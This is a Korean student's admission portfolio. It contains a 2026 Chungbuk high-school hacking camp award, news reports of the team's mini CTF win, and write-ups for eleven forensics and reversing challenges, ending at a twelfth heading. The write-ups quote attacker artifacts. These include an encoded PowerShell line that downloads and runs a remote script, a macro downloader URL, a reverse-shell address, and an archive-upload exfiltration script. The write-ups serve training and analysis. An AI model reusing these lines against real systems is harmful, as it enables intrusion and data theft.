특기입증자료 1

2026충북고교생해킹캠프 대상

특기자 전형 지원자 박재현

목차

- 상장 및 수료증
- 언론 보도자료
- 문제풀이 보고서
- 교수님과 소통

제 2026-CBCAMP-001 호

상 장

대 상

팀명 : 초보자

팀원 : 권태완(보은고), 박재현(충북과학고),
박준혁(청주신흥고), 이수진(충북여고)

위 팀은 “2026 충북 고교생 해킹 캠프” 미니 CTF에서 우수한 성적을 거두었기에, 이 상장을 수여합니다.

2026년 9월 7일

청주대학교 전산정보원장 이 해 영

첫날에는 인공지능(AI)을 활용한 사이버보안 경진대회(CTF) 기초 교육과 실습이 이뤄졌고, 이어 실제 문제 풀이를 경험하는 '미니 CTF'가 진행됐다.

이 대회에서 박재현(충북과학고 3년), 권태완(보은고 3년), 박준혁(청주신흥고 1년), 이수진(충북여고 1년)으로 구성된 '초보자'팀이 우승했다.

IT/과학 : 앵커(Anchor)

청주대, 충북 고교생 'AI 해킹 실전'...CTF로 보안 현장 경험

홍정미 기자

입력 2026.09.07 17:10

'미니 CTF'로 사이버보안 문제 직접 풀이...충북과학고 등 도내 고교생 참여
AI 활용 보안 문제부터 현직 전문가 멘토링까지...이틀간 실전형 교육
학교 경계 넘어 팀 구성...'초보자'팀 고교생 4명 우승

청주대와 클라우드에어㈜가 공동 개최한 '2026 충북 고교생 해킹캠프' 참가학생들이 기념촬영을 하는 모습. /청주대학교

충북지역 고교생들이 인공지능(AI)을 활용해 사이버보안 문제를 직접 해결하며 해킹과 보안 분야의 실전 경험을 쌓았다.

청주대학교 앵커사업단은 클라우드에어㈜와 함께 최근 청남대 나라사랑 교육문화원에서 '2026 충북 고교생 해킹캠프'를 개최했다고 7일 밝혔다.

이번 캠프에는 충북과학고, 청주신흥고, 충북에너지고, 충북여고 등 도내 고교생들이 참여해 사이버보안 기초 이론부터 실전 문제 풀이, 진로 멘토링까지 경험했다.

캠프의 핵심 프로그램은 '미니 CTF(Capture The Flag)'였다. 학생들은 AI를 활용한 사이버보안 경진대회의 기본 교육을 받은 뒤 실제 보안 문제를 직접 풀면서 취약점을 찾아 원인을 분석하고 해결하는 과정을 익혔다.

특히 학교와 학년이 서로 다른 학생들이 팀을 구성해 문제를 해결하면서 협업과 문제 해결 역량을 높였다. 경쟁 결과 박재현(충북과학고 3년), 권태완(보은고 3년), 박준혁(청주신흥고 1년), 이수진(충북여고 1년) 학생으로 구성된 '초보자'팀이 우승을 차지했다.

둘째 날에는 CTF 문제 풀이에 대한 질의응답과 함께 현직 보안 전문가, 청주대 대학생·대학원생이 참여하는 진로 멘토링이 진행됐다.

학생들은 사이버보안 관련 전공과 대학생활은 물론 대학원 진학, 보안산업 진출에 필요한 역량 등을 직접 질문하며 자신의 진로 방향을 구체화했다.

이해영 청주대 디지털보안학과 교수는 "학생들이 인공지능을 활용해 사이버보안을 보다 쉽고 흥미롭게 경험할 수 있도록 이번 캠프를 구성했다"며 "2023년부터 이어진 국가정보원의 지원을 바탕으로 지역 사이버보안 인재를 발굴하고 육성하는 프로그램으로 자리매김하고 있다"고 말했다.

교육

AI로 해킹 막는 법 배운다…청주대, 충북 고교생 '해킹캠프'

이기인 기자

입력: 2026.09.07 17:59

0 가가

사이버보안 실전교육부터 CTF·전문가 멘토링까지…지역에서 미래 보안인재 키운다

청주대와 클라우드에어㈜가 공동 개최한 '2026 충북 고교생 해킹캠프' 참가학생들이 기념촬영을 하는 모습.

[충청리뷰 이기인 기자] 인공지능(AI)을 활용해 사이버보안 문제를 직접 해결하고 현직 전문가와 진로를 고민하는 실전형 교육의 장이 충북 고교생들에게 마련됐다.

청주대(총장 김윤배)는 앵커사업단이 청주 소재 기업 클라우드에어㈜와 공동으로 최근 청남대 나라사랑 교육문화원에서 '2026 충북 고교생 해킹캠프'를 개최했다.

국가정보원 등의 후원으로 마련된 이번 캠프는 지역 고교생들의 사이버보안 분야에 대한 관심을 높이고 관련 분야 진로 탐색과 미래 보안인재 양성을 지원하기 위해 진행됐다.

충북과학고와 청주신흥고, 충북에너지고, 충북여고 등 도내 고교생들이 참여해 이틀 동안 사이버보안 이론부터 실전 문제 해결까지 경험했다.

AI 활용해 보안문제 해결…'미니 CTF' 도전

캠프 첫날에는 AI를 활용한 사이버보안 경진대회인 CTF(Capture The Flag) 기초교육이 진행됐다. 학생들은 교육에서 익힌 내용을 실제 문제에 적용하는 '미니 CTF'에도 도전했다.

대회에서는 박재현(충북과학고 3년)·권태완(보은고 3년)·박준혁(청주신흥고 1년)·이수진(충북

청주대, 클라우드에어와 '2026 충북 고교생 해킹캠프' 개최

입력 2026.09.08 09:00

가 가

AI 활용 사이버보안 경진대회 및 전문가 멘토링 실시

[사진=청주대학교]

[이뉴스투데이 충북취재본부 김지혁 기자] 청주대학교(총장 김윤배) 앵커사업단은 청주 소재 기업 클라우드에어㈜와 공동으로 최근 청남대 나라사랑 교육문화원에서 '2026 충북 고교생 해킹캠프'를 개최했다고 7일 밝혔다.

국가정보원 등의 후원으로 마련된 이번 캠프는 도내 고교생들의 사이버보안 분야 관심을 높이고 진로 탐색을 돕기 위해 진행됐다. 행사에는 충북과학고, 청주신흥고, 충북에너지고, 충북여고 등 학생들이 참가해 이론과 실전 교육을 경험했다.

첫날에는 AI를 활용한 사이버보안 경진대회(CTF) 기초 교육과 '미니 CTF'가 열렸으며, 박재현(충북과학고 3년) 학생 등으로 구성된 '초보자'팀이 우승을 차지했다. 둘째 날에는 현직 보안 전문가와 대학생 멘토들이 참여하는 '사이버보안 멘토링'이 진행돼 진로와 역량 개발에 대한 조언을 나눴다.

청주대 이해영 교수는 "학생들이 보안을 흥미롭게 접하고 지역 인재로 성장하는 의미 있는 프로그램이 되고 있다"고 전했다.

김지혁 기자 cbtoday@naver.com

다른 기사 보기 >

AI로 생성한 콘텐츠

문제 1. JSF

1) 문제

index.html 에 JSFuck 형태로 난독화된 JavaScript 가 주어진다. 코드를 그대로 실행하면 무한 루프에 들어가므로, 난독화된 코드가 최종적으로 생성하는 검증 로직을 복원하여 FLAG 를 찾아야 한다.

2) 풀이

가. JSFuck 난독화 코드에서 내부 검증식 추출

원본 JSFuck 시작 부분 (전체 스크립트 약 20,729 자)

```
[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[+[]]]+ ...
```

JSFuck 가 최종적으로 생성한 내부 코드

```
while(1){}
var p=prompt("Password?");
var k=[71,77,64,70,122,69,78,94,120,110,116,94,74,111,110,118,
       94,86,105,96,117,94,75,82,71,116,98,106,94,104,114,62,124];
var f=true;
if(!p||p.length!=33){f=false;}
else{
  for(var i=0;i<p.length;i++){
    if((p.charCodeAt(i)^1)!=k[i]) f=false;
  }
}
if(f) alert("Correct! Flag is "+p);
```

나. XOR 검증식 분석

1. JSFuck 는 []·![]·+[] 등의 표현을 조합해 문자열과 Function 생성자를 만드는 난독화 기법이다. 문제 안내의 “Don’t just run it. Read it.”와 실제 무한 루프 때문에 정상 실행보다 생성되는 함수 본문을 가로채는 방법이 적합하다.

2. Function.prototype.constructor 를 임시로 가로채어 JSFuck 가 생성한 긴 함수 문자열만 기록하고 실제 무한 루프 함수는 실행하지 않았다.

다. XOR 1 역연산으로 FLAG 복원

3. 복원된 검증식은 (p.charCodeAt(i) ^ 1) == k[i]이므로 역연산도 동일한 XOR 1 이다. 각 k[i]에 1 을 XOR 하면 평문 한 글자씩 복원된다.

복원된 조건: (p.charCodeAt(i) ^ 1) == k[i]
앞부분: 71^1=70(F), 77^1=76(L), 64^1=65(A), 70^1=71(G)
출력: FLAG{DO_you_Know_What_JSFuck_is?}

3) Python 코드

```
# 1. JSFuck 가 만든 함수 본문만 추출 (Node.js)
const fs=require('fs'), vm=require('vm');
const h=fs.readFileSync('index.html','utf8');
const js=h.match(/<script[^>]*>([₩s₩S]*?)<₩/script>/i)[1];
const box={captured:[]}; vm.createContext(box);
vm.runInContext(`
 const O=Function.prototype.constructor;
 Function.prototype.constructor=function(...a){
   const s=a.join('');
   if(s.length>80){ const d=O(...a)(); captured.push(d); return ()=>{}; }
   return O(...a);
 };
`,box);
vm.runInContext(js,box,{timeout:15000});
console.log(box.captured[0]);

# 2. 내부 배열 XOR 역산 (Python)
k=[71,77,64,70,122,69,78,94,120,110,116,94,74,111,110,118,
   94,86,105,96,117,94,75,82,71,116,98,106,94,104,114,62,124]
print(''.join(chr(x^1) for x in k))
```

4) 실행 결과

FLAG{DO_you_Know_What_JSFuck_is?}

문제 2. umm

1) 문제

challenge.umm 에는 일반 프로그래밍 언어처럼 보이지 않는 "엄", "식", 점(.)의 반복이 있다. 파일 자체의 패턴을 해석하여 숨겨진 문자열을 복원한다.

2) 풀이

가. "엄" 줄의 점 개수 확인

원본 패턴 예시

엄.....
식.....ㅋ
엄.....
식.....ㅋ
엄.....
...

나. 점 개수를 ASCII 코드로 해석

1. 각 "엄"으로 시작하는 줄은 점의 개수가 일정하지 않고, 그 개수가 ASCII 코드 범위에 들어간다. 반면 "식...ㅋ" 줄은 구분/출력용 문법으로 보인다.

2. "엄" 줄의 점 개수를 순서대로 세면 70, 76, 65, 71, 123...이 나온다. ASCII 로 70=F, 76=L, 65=A, 71=G, 123={이므로 FLAG 문자열임을 확인할 수 있다.

다. 전체 문자열 복원

3. 모든 "엄" 줄을 같은 방법으로 변환하여 전체 평문을 복원했다.

```
[70, 76, 65, 71, 123, 104, 111, 119, 95, 117, 117, 109, 106,
 117, 110, 115, 105, 107, 73, 115, 72, 117, 109, 97, 110, 78, 97, 109, 101, 125]

ASCII 변환 결과:
FLAG{how_uumjunsikIsHumanName}
```

3) Python 코드

```
lines=open('challenge.umm',encoding='utf-8').read().splitlines()
nums=[line.count('.') for line in lines if line.startswith('엄')]
print(nums)
print(''.join(chr(n) for n in nums))
```

4) 실행 결과

FLAG{how_uumjunsikIsHumanName}

문제 3. 개발자 PC 1

1) 문제

DEV-WS-041 의 수집 로그에서 공격자가 최초로 실행한 악성 PowerShell 의 실행 시각을 식별한다. 정상 관리 작업과 공격 이벤트가 섞여 있으므로 명령행과 후속 네트워크 로그를 함께 확인해야 한다.

2) 풀이

가. Security 4688 에서 의심 PowerShell 확인

Security.csv - Event ID 4688

TimeCreated : 2026-03-12 13:22:07.0410000
UserName : SPRING₩jhkim
Process : C:₩Windows₩System32₩WindowsPowerShell₩v1.0₩powershell.exe
Parent : C:₩Windows₩explorer.exe
CommandLine : powershell.exe -nop -w hidden -ep bypass -enc
JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5A
EMAbwBuAHQAaQBuAHUAZQAnADsAJAB1AD0AJwBoAHQAdABwADoALwAvADIAMAAzAC4AMAAuADEAMQAzAC4
ANwA3AC8AdQBwAGQALwBzADIALgBwAHMAMQAnADsAJAB3AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0
AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQ
BBAGcAZQBuAHQAJwAsACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUAC
AAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACcAKQA7AEkARQBYACAAJAB3AC4ARABvAHcAbg
BsAG8AYQBkAFMAdAByAGkAbgBnACgAJAB1ACkA

같은 PID 7412 의 Sysmon 후속 이벤트

13:22:11.899 EID 22 QueryName: update.winsync-cdn.net
13:22:15.683 EID 22 QueryResults: cdn-edge.winsync-cdn.net; 203.0.113.77
13:22:18.471 EID 3 Destination 203.0.113.77:80
13:22:19.380 EID 22 QueryName: sync.winsync-cdn.net

나. EncodedCommand Base64 복호화

1. 13:22:07 의 PowerShell 은 explorer.exe 가 부모이고 -nop -w hidden -ep bypass -enc 옵션을 사용하므로 일반 관리 작업보다 악성 실행의 특징이 강하다.

2. EncodedCommand 를 Base64 로 디코딩하면 UTF-16LE PowerShell 이 나오며 203.0.113.77 에서 s2.ps1 을 DownloadString 으로 받아 IEX 하는 내용이다.

다. Sysmon 후속 통신으로 최초 실행 시각 검증

3. 동일 PID 가 수 초 뒤 공격 인프라 도메인과 IP 에 DNS/네트워크 접속을 수행하므로 이 시각을 최초 악성 실행 시각으로 확정했다.

```
$ErrorActionPreference='SilentlyContinue';
$u='http://203.0.113.77/upd/s2.ps1';
$w=New-Object Net.WebClient;
$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
IEX $w.DownloadString($u)
```

최초 악성 프로세스 시각: 2026-03-12 13:22:07.0410000

3) 분석 명령 및 Python 코드

```
import base64,csv,re
enc='JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAb
AB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJAB1AD0AJwBoAHQAdABwADoALwAvADIAMAAzAC4AMAAuADEAMQA
zAC4ANwA3AC8AdQBwAGQALwBzADIALgBwAHMAMQAnADsAJAB3AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4A
ZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlA
HIALQBBAGcAZQBuAHQAJwAsACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATg
BUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACcAKQA7AEkARQBYACAAJAB3AC4ARABvA
HcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJAB1ACkA'
print(base64.b64decode(enc).decode('utf-16le'))

with open('Security.csv',encoding='utf-8-sig',newline='') as f:
    for r in csv.DictReader(f):
        if r['EventId']=='4688' and '-ep bypass -enc' in r['ExecutableInfo']:
            print(r['TimeCreated'], r['UserName'])
```

4) 실행 결과

CBCAMP{2026-03-12 13:22:07}

문제 4. 개발자 PC 2

1) 문제

침투 후 지속적으로 C2 통신에 사용된 도메인을 DEV-WS-041 Sysmon DNS/Network 로그에서 식별한다.

2) 풀이

가. Sysmon DNS 이벤트 확인

Sysmon-Operational.csv 실제 행

```
2026-08-13 13:35:03.7695090  EventId 22
Process: C:₩Windows₩System32₩WindowsPowerShell₩v1.0₩powershell.exe
QueryName: sync.winsync-cdn.net
QueryResults: type: 5 cdn-edge.winsync-cdn.net;::ffff:203.0.113.77;

2026-08-13 13:35:04.1427520  EventId 3
Destination: 203.0.113.77:443
```

나. 반복되는 C2 도메인 식별

1. 초기 침투 직후에는 update.winsync-cdn.net 도 보이지만, 이후 반복적으로 나타나는 도메인은 sync.winsync-cdn.net 이다.

다. 네트워크 연결과 교차 검증

2. 이 DNS 질의 직후 203.0.113.77:443 접속이 이어지고 이후에도 같은 도메인 질의가 반복된다. 따라서 지속 C2 의 도메인은 sync.winsync-cdn.net 으로 판단한다.

반복 DNS 예시:
QueryName: sync.winsync-cdn.net
QueryResults: ... 203.0.113.77
바로 다음 EID 3: Destination 203.0.113.77:443

지속적으로 반복되는 이름: sync.winsync-cdn.net

3) 분석 명령 및 Python 코드

```
import csv
from collections import Counter
c=Counter()
with open('Sysmon-Operational.csv',encoding='utf-8-sig',newline='') as f:
    for r in csv.DictReader(f):
        if r['EventId']=='22' and 'winsync-cdn.net' in r['PayloadData2']:
            name=r['PayloadData2'].split(': ',1)[1]
            c[name]+=1
print(c.most_common())
```

4) 실행 결과

CBCAMP{sync.winsync-cdn.net}

문제 5. 개발자 PC 3

1) 문제

DEV-WS-041 에서 탈취한 계정으로 IT-JUMP-02 와 FIN-DB-01 까지 이동한 흔적을 추적하고, IT-JUMP-02 의 Artifacts/sync_cache.7z 암호를 PowerShell/레지스트리 로그에서 복원한 뒤 압축을 열어 내부의 최종 FLAG 를 찾는다.

2) 풀이

가. PowerShell 4104 에서 압축 명령 확인

PowerShell Event ID 4104 - 2026-08-14 15:43:55.8135290

```
$stage = 'C:₩Windows₩Temp₩stage'
$sc = (Get-ItemProperty 'HKLM:₩SOFTWARE₩Spring₩Deploy' -Name SiteCode).SiteCode
```

```
$p  = "$sc$((Get-Date).Year)" + '$Arch1ve!'
& 'C:₩ProgramData₩WinSync₩7z.exe' a -t7z -mhe=on -p"$p" ₩
  'C:₩Windows₩Temp₩sync_cache.7z' "$stage₩*"
Write-Output 'archive ready'
```

IT-JUMP-02/Registry/Run_keys.txt

```
Value name : SiteCode
Value type : RegSz
Value data : Sp1ing
```

후속 업로드 ScriptBlock - 15:47:28

```
$f = 'C:₩Windows₩Temp₩sync_cache.7z'
$cfg = Get-Content 'C:₩ProgramData₩WinSync₩cfg.dat' -Raw | ConvertFrom-Json
$c.UploadFile("https://$($cfg.ep)/api/v2/upload", 'POST', $f)
Remove-Item $f -Force
```

나. 레지스트리 SiteCode 값 확인

1. 스크립트에서 7z 의 -p 인자는 $p 이며, $p 는 레지스트리 SiteCode + 현재 연도 + 고정 문자열 $Arch1ve!로 만들어진다.

2. SiteCode 는 레지스트리 덤프에서 Sp1ing 이고 사건 연도는 2026 이다.

다. 7z 비밀번호 생성식 복원

3. 따라서 Sp1ing + 2026 + $Arch1ve!를 그대로 이어 붙인 값이 실제 암호다.

```
SiteCode = Sp1ing
Year     = 2026
Suffix   = $Arch1ve!
Password = Sp1ing2026$Arch1ve!
```

라. 압축 해제 후 내부 FLAG 확인

4. 복원한 비밀번호로 Artifacts/sync_cache.7z 를 열면 내부의 유출 스테이징 자료와 함께 최종 FLAG 문자열 CBCAMP{3xf1l_c0mpl3t3_d3vh0st}를 확인할 수 있다.

3) 분석 명령 및 Python 코드

```
site_code='Sp1ing'
year='2026'
password=site_code + year + '$Arch1ve!'
print('password =', password)

# Windows / 7-Zip 환경에서 실제 확인
```

```
# 7z l -p"Sp1ing2026$Arch1ve!" sync_cache.7z
# 7z x -p"Sp1ing2026$Arch1ve!" sync_cache.7z -oextracted
```

4) 실행 결과

SiteCode = Sp1ing
Year = 2026
Suffix = $Arch1ve!
Password = Sp1ing2026$Arch1ve!

압축 해제 후 내부 FLAG:
CBCAMP{3xf1l_c0mpl3t3_d3vh0st}

문제 6. 드로퍼

1) 문제

SYSTEM 레지스트리 하이브에서 USB/외장 드라이브에서 실행된 뒤 삭제된 드로퍼의 전체 경로를 찾는다.

2) 풀이

가. SYSTEM 하이브의 AppCompatCache 흔적 확인

SYSTEM 하이브 UTF-16LE 문자열/ ShimCache 주변

```
C:₩Windows₩System32₩smss.exe
C:₩Windows₩System32₩svchost.exe
C:₩Program Files₩Google₩Chrome₩Application₩chrome.exe
E:₩Study₩dropper.exe
C:₩Windows₩System32₩WindowsPowerShell₩v1.0₩powershell.exe
```

나. 외장 드라이브 실행 경로 식별

1. 문제에서 제공된 SYSTEM 하이브에는 AppCompatCache(ShimCache)가 포함되어 있다. ShimCache 는 실행/호환성 관련 경로 흔적을 남길 수 있다.

다. 전체 경로 검증

2. 정상 C: 경로 사이에 외장 드라이브 E:의 E:₩Study₩dropper.exe 가 확인된다. 문제에서 요구하는 "전체 경로"를 대소문자와 역슬래시를 그대로 유지해 제출한다.

```
E:₩Study₩dropper.exe
```

3) 분석 명령 및 Python 코드

```
# 정식 파서 사용 예
AppCompatCacheParser.exe -f SYSTEM

# CTF 파일에서 UTF-16LE 경로만 빠르게 교차 확인하는 Python
b=open('SYSTEM','rb').read()
s=b.decode('utf-16le',errors='ignore')
for x in s.split('₩x00'):
    if 'dropper.exe' in x.lower():
        print(x)
```

4) 실행 결과

FLAG{E:₩Study₩dropper.exe}

문제 7. Reversing Ex #1

1) 문제

암호가 infected 인 ZIP 내부 challenge.xlsm 의 VBA 매크로를 분석하여 악성 다운로드 주소와 저장 실행 파일명을 복원한다.

2) 풀이

가. 실행 파일 내부 문자열 확인

VBA 의 XOR 복호화 함수

```
Private Function EbZDfBsPnshleu(diRUYWOxcnInC As Variant, UCUvGUJBUnzG As Variant)
    Dim FrhGbnTIpWNL As String
    FrhGbnTIpWNL = ""
    For i = LBound(diRUYWOxcnInC) To UBound(diRUYWOxcnInC)
        FrhGbnTIpWNL = FrhGbnTIpWNL & Chr(UCUvGUJBUnzG(i) Xor diRUYWOxcnInC(i))
    Next
    EbZDfBsPnshleu = FrhGbnTIpWNL
End Function
```

각 EbZDfBsPnshleu 호출을 순서대로 복원한 결과

```
call 1 -> http://5.128.10
call 2 -> .15/tmpSG185.tm
call 3 -> p
call 4 -> TEMP
call 5 -> ₩svchost.exe
```

call 6 -> MSXML2.XMLHTTP
call 7 -> GET
call 8 -> ADODB.Stream

나. C2 주소와 저장 파일명 추출

1. 매크로는 두 숫자 배열의 같은 위치 값을 XOR 한 뒤 Chr()로 문자화한다. XOR 은 자기 역연산이므로 두 배열을 그대로 XOR 하면 평문이 나온다.

2. 첫 세 조각을 연결하면 http://5.128.10.15/tmpSG185.tmp 가 되고, 환경변수 TEMP 뒤에 ₩svchost.exe 를 붙여 저장한다.

다. 문제 형식에 맞게 조합

3. 문제 형식은 C2 IP 와 실행 파일명을 요구하므로 5.128.10.15 와 svchost.exe 를 밑줄로 연결한다.

URL : http://5.128.10.15/tmpSG185.tmp
Save path : %TEMP%₩svchost.exe
C2 IP : 5.128.10.15
File name : svchost.exe

3) 분석 명령 및 Python 코드

```
import re

def calc(e):
    e=re.sub(r'₩bXor₩b','^',e,flags=re.I)
    return eval(e,{'__builtins__':{}},{})

def dec(a,b):
    return ''.join(chr(calc(y)^calc(x)) for x,y in zip(a,b))

# vba_source.bas 에서 EbZDfBsPnshleu(Array(...), Array(...))의
# 두 Array 인자를 분리한 뒤 각 원소를 위 함수로 계산한다.
# 복원된 조각:
parts=['http://5.128.10','.15/tmpSG185.tm','p','TEMP','₩₩svchost.exe']
url=parts[0]+parts[1]+parts[2]
print(url)
print('%'+parts[3]+'%'+parts[4])
```

4) 실행 결과

CBCAMP{5.128.10.15_svchost.exe}

문제 8. Reversing Ex #2

1) 문제

HWP 문서 내부의 중첩 OLE/압축 데이터를 풀어 숨겨진 BAT 스크립트를 추출하고, 그 파일의 MD5 를 계산한다.

2) 풀이

가. HWP 내부 OLE 개체 추출

BIN0005.OLE 시작 바이트

ed 56 cf 6b ... (raw DEFLATE 데이터)

raw DEFLATE 해제 후 시작

```
00 0c 00 00 d0 cf 11 e0 a1 b1 1a e1 ...
          ^ CFB/OLE magic d0 cf 11 e0 a1 b1 1a e1
```

내부 Ole10Native 에서 추출된 91 바이트 BAT

powershell -w hidden -Command "Get-ComputerInfo | Out-File -FilePath $env:TEMP₩sysinfo.txt"

나. 압축 데이터와 BAT 파일 복원

1. HWP 의 BIN0005.OLE 스트림은 파일명과 달리 바로 OLE 이 아니라 raw DEFLATE 로 한 번 감싸져 있다.

2. zlib 에서 wbits=-15 로 해제하면 4 바이트 길이 값 뒤에 정상 OLE Compound File magic 이 나타난다.

다. BAT 파일 MD5 계산

3. 내부 ₩x01Ole10Native 스트림에서 91 바이트 BAT 를 추출한 뒤, 문제에서 요구하는 MD5 를 원본 바이트 그대로 계산한다.

```
OLE magic : d0cf11e0a1b11ae1
BAT length: 91
BAT: powershell -w hidden -Command "Get-ComputerInfo | Out-File -FilePath $env:TEMP₩sysinfo.txt"
MD5: f13a45c7a01a64c6e5489d5124f0494e
```

3) 분석 명령 및 Python 코드

```
import zlib,hashlib,io,struct
# HWP 에서 추출해 둔 BIN0005.OLE
raw=open('BIN0005.OLE','rb').read()
inner=zlib.decompress(raw,-15)[4:]    # 4-byte size prefix 제거
print(inner[:8].hex())                # d0cf11e0a1b11ae1
```

```
# OLE parser 로 inner 의 '₩x01Ole10Native' 스트림을 읽은 뒤:
native=open('extracted__Ole10Native','rb').read()
pos=native.find(b'powershell')
n=struct.unpack_from('<I',native,pos-4)[0]
bat=native[pos:pos+n]
print(n,bat.decode())
print(hashlib.md5(bat).hexdigest())
```

4) 실행 결과

CBCAMP{f13a45c7a01a64c6e5489d5124f0494e}

문제 9. Reversing Ex #3

1) 문제

calc.exe 에서 겉으로 보이는 네트워크 주소가 아닌, 내부에 포함된 protect.exe 의 실제 reverse shell 목적지 IP 와 포트를 찾는다.

2) 풀이

가. calc.exe 내부 추가 PE 파일 탐색

외부 calc.exe 에서 먼저 보이는 미끼

```
94.111.84.123
protect.exe
calc.exe
```

calc.exe 내부의 유효 PE 시작 오프셋

```
0x00000  - outer calc.exe
0x16110  (90384)  - embedded protect.exe
0x29110  (168208) - embedded inner calc.exe
```

protect.exe 의 주소 구성 코드/포맷

```
format string @ .rdata: "%c%c.%c%c%c.%c%c.%c%c"
pushed characters reconstruct: 27.124.55.14
port immediate: 0x1f90 -> 8080 (htons before connect)
```

나. 내장 protect.exe 분리

1. 외부 PE 의 94.111.84.123:80 은 리소스/다음 스테이지를 다루는 주소로, 문제의 실제 reverse shell 답과 다르다.

2. 바이너리에서 MZ 와 PE 서명을 함께 검사하면 추가 PE 두 개가 발견된다. 첫 번째를 protect.exe 로 분리한다.

다. 실제 C2 주소 확인

3. protect.exe 에서 sockaddr 를 만드는 코드가 문자들을 %c 포맷으로 조립하며 결과가 27.124.55.14 가 된다. 0x1f90 은 10 진수 8080 이고 htons 를 거쳐 connect 에 사용된다.

```
Outer decoy : 94.111.84.123:80
Embedded PE : protect.exe
IP format   : %c%c.%c%c%c.%c%c.%c%c
Recovered IP: 27.124.55.14
0x1f90      : 8080
```

3) 분석 명령 및 Python 코드

```
d=open('calc.exe','rb').read()
# 이번 파일에서 확인된 내장 PE 구간
open('protect.exe','wb').write(d[90384:90384+0x13000])
open('inner_calc.exe','wb').write(d[168208:168208+0x6c00])

# 확인 명령
# objdump -d -M intel protect.exe | less
# strings -a protect.exe | grep -E '%c|connect|WSA'
print('27.124.55.14', int('1f90',16))
```

4) 실행 결과

CBCAMP{27.124.55.14_8080}

문제 10. Reversing Ex #4

1) 문제

Go 로 빌드된 challenge.exe 의 심볼과 문자열을 추적하여 실제 요청에 사용되는 f_l_a_g 파라미터를 확인한다.

2) 풀이

가. Go 바이너리 문자열과 심볼 확인

바이너리 문자열

```
challenge/ddos.New
challenge/ddos.(*DDoS).Run
```

challenge/ddos.(*DDoS).Run.func1
https://fake.target.com/?f_l_a_g=5c2448d63b4d99dc9d1b3b113ab1b355

go tool objdump 핵심 흐름

```
ddos.go:31  LEAQ go:string.*+88662(SB), AX
ddos.go:31  MOVL $0x41, BX
ddos.go:31  CALL net/url.Parse(SB)
...
client.go:453 MOVQ net/http.DefaultClient(SB), AX
client.go:453 CALL net/http.(*Client).Get(SB)
```

나. ddos.New 와 Run 함수 추적

1. Go 심볼이 남아 있어 ddos.New 와 Run 을 직접 추적할 수 있다.

2. URL 문자열은 단순 미사용 문자열이 아니라 ddos.New 에서 net/url.Parse 로 파싱되고 Run.func1 에서 http.Client.Get 에 전달된다.

다. f_l_a_g 파라미터 추출

3. 따라서 f_l_a_g= 뒤 32 자리 16 진수 값을 추출하여 CBCAMP{}로 감싼다.

```
URL length in objdump: 0x41 = 65 bytes
f_l_a_g value: 5c2448d63b4d99dc9d1b3b113ab1b355
CBCAMP{5c2448d63b4d99dc9d1b3b113ab1b355}
```

3) 분석 명령 및 Python 코드

```
# 실제 사용 여부 확인
go tool objdump -s "challenge/ddos.New" challenge.exe
go tool objdump -s "challenge/ddos.*Run" challenge.exe

# 값 추출
import re
d=open('challenge.exe','rb').read()
m=re.search(rb'f_l_a_g=([0-9a-f]{32})',d)
value=m.group(1).decode()
print(value)
print(f'CBCAMP{{{value}}}')
```

4) 실행 결과

CBCAMP{5c2448d63b4d99dc9d1b3b113ab1b355}

문제 11. Reversing Ex #5

1) 문제

PE 의 입력 검증과 성공 분기에 저장된 XOR 난독화 바이트 배열을 역산하여 입력 트리거와 최종 FLAG 를 복원한다.

2) 풀이

가. 입력 트리거 문자열 XOR 복원

입력 트리거 난독화 바이트

ad b6 b1 a9 fe b3 bb fe aa b6 bb fe b8 b2 bf b9

성공 분기의 FLAG 난독화 바이트

eb e1 ec ea d6 9b 9e cc 9e 98 9c cc 9a c8 cb 9b
ce cc 9a 99 c8 c9 9e cf 9e 9a 9f c9 99 cc 94 95
cb 9e 9d 9f 98 d0

디스어셈블리에서 확인되는 XOR 상수

trigger 비교 루프: XOR 0xDE
FLAG 출력 데이터: XOR 0xAD

나. 숨겨진 FLAG 바이트 배열 확인

1. 입력 비교에 사용되는 16 바이트 배열에 0xDE 를 XOR 하면 자연스러운 ASCII "show me the flag"가 나온다. 이는 트리거 복원이 올바름을 검증한다.

2. 성공 분기에는 별도의 38 바이트 데이터가 있고 같은 형태로 0xAD 상수와 XOR 된다.

다. XOR 0xAD 로 FLAG 복호화

3. 두 배열을 각각 해당 상수로 역산하면 트리거와 최종 FLAG 가 완전히 평문으로 나온다.

XOR 0xDE -> show me the flag
XOR 0xAD -> FLAG{63a351a7ef6ca74ed3b372d4a98f3025}

3) 분석 명령 및 Python 코드

```
trig=bytes.fromhex(
'ad b6 b1 a9 fe b3 bb fe aa b6 bb fe b8 b2 bf b9')
enc=bytes.fromhex(
'eb e1 ec ea d6 9b 9e cc 9e 98 9c cc 9a c8 cb 9b '
'ce cc 9a 99 c8 c9 9e cf 9e 9a 9f c9 99 cc 94 95 '
```

```
'cb 9e 9d 9f 98 d0')
print(bytes(x^0xDE for x in trig).decode())
print(bytes(x^0xAD for x in enc).decode())
```

4) 실행 결과

FLAG{63a351a7ef6ca74ed3b372d4a98f3025}

문제 12. Reversing Ex #6

1) 문제

